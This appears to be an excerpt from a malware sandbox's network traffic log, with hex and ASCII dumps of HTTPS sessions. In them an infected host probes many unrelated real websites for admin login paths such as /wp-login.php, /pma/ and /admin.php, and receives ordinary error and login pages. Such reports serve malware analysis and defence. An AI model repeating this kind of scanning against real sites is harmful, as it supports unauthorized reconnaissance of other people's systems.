2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 Data Ascii: arset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/style
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a 72 69 67 68 74 2d 30 Data Ascii: -hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 73 3d 22 63 66 Data Ascii: or-landing?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" class="cf
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 72 65 20 61 6e 64 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 61 74 20 63 61 Data Ascii: re and the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">What ca
2023-12-20 02:13:37 UTC	1230	IN	Data Raw: 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 64 66 64 31 30 36 30 32 32 31 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d Data Ascii: strong class="font-semibold">83845dfd10602215</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.4	64886	77.72.0.94	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	169	OUT	GET /pma/ HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:37 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:37 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:37 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.4	65094	192.252.146.15	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	374	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:37 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:37 UTC	7818	IN	Data Raw: 31 66 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 Data Ascii: 1f0d<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Two Hills Studio — WordPress</title><script type="text/javascript">function theChampLoadEvent(e){var
2023-12-20 02:13:37 UTC	137	IN	Data Raw: 75 6e 74 69 6d 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 Data Ascii: untime-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.1
2023-12-20 02:13:37 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:37 UTC	1647	IN	Data Raw: 36 36 33 0d 0a 35 2e 30 27 20 69 64 3d 27 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 31 36 39 64 33 63 66 38 65 38 64 39 35 61 33 64 36 64 35 27 20 69 64 3d 27 77 70 2d 68 6f 6f 6b 73 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d Data Ascii: 6635.0' id='wp-polyfill-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-includes/js/dist/hooks.min.js?ver=4169d3cf8e8d95a3d6d5' id='wp-hooks-js'></script><script type='text/javascript' src='https://twohillsstudio.com/wp-

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.4	65141	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	179	OUT	GET /admin HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	1085	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038417.6201655778387932665 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:37 GMT X-Served-By: cache-dfw-kdfw8210112-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLl77sBeKLtHVaXbFQUDNQYPu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalh9SeLIPsxiyFFqZQP3hiC3HUc+ryXLjmG/jGZ/5hOd6206gXp3PXJZe6lvXhqbl0A==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:37 UTC	167	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-12-20 02:13:37 UTC	270	IN	Data Raw: 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: red</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.4	65045	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	183	OUT	GET /admin.php HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	581	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:37 GMT X-Served-By: cache-pdk-kfty2130079-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038418.565842,VS0,VE170 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:37 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:37 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:37 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:37 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.4	65071	198.185.159.144	443

Timestamp	Bytes transferred	Direction	Data
